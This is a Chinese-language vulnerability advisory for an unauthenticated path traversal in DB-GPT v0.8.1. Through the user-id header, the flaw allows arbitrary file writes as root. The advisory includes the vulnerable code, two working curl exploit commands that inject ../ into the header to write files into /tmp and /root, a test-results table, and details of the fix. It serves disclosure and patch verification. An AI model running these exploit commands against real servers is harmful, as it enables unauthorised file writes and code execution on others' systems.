
CVE-2026-73034 — DB-GPT v0.8.1 未授权路径遍历 → 通过 user-id 请求头以 root 身份任意文件写入。已验证 + 修复 diff
CVSS 9.8(严重) · CWE-22 · GHSA/Issue #3104
DB-GPT v0.8.1 中的 POST /api/v1/python/file/upload 接口接收 user-id HTTP 头,并将其
原样用作路径组件:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
该接口无需认证——如果缺少该头,应用会回退到 user_id="001"
并赋予 role="admin"。向 user-id 中注入 ../ 序列即可逃逸上传根目录,使
未认证的远程攻击者能将任意文件写入容器进程(root)
可写的任何位置 → 直接形成 RCE 路径(Web 根目录 .py、cron 任务、authorized_keys 等)。
受影响版本: DB-GPT ≤ v0.8.1
修复版本: v0.8.2+ — 提交 e0c741bd2b5e521b128cffb3f68982dde3f7b359(新增 _SAFE_USER_ID_RE
白名单 ^[A-Za-z0-9_\-]+$、上传目录包含性检查,以及 TOCTOU 符号链接复检)。
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
注意: FastAPI 将 user_id 参数映射到 user-id HTTP 头(连字符,而非
下划线)。
完整脚本:poc_cve-2026-73034.sh(运行两个漏洞利用 + 容器内验证 + 修复后构建
对比)。
| 测试 | 结果 |
|---|
对照上传(user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
漏洞利用 user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt 已写入(root) |
漏洞利用 user-id: ../../../../root | ✅ /root/pwned_root.txt 已写入 |
| 修复后构建(e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |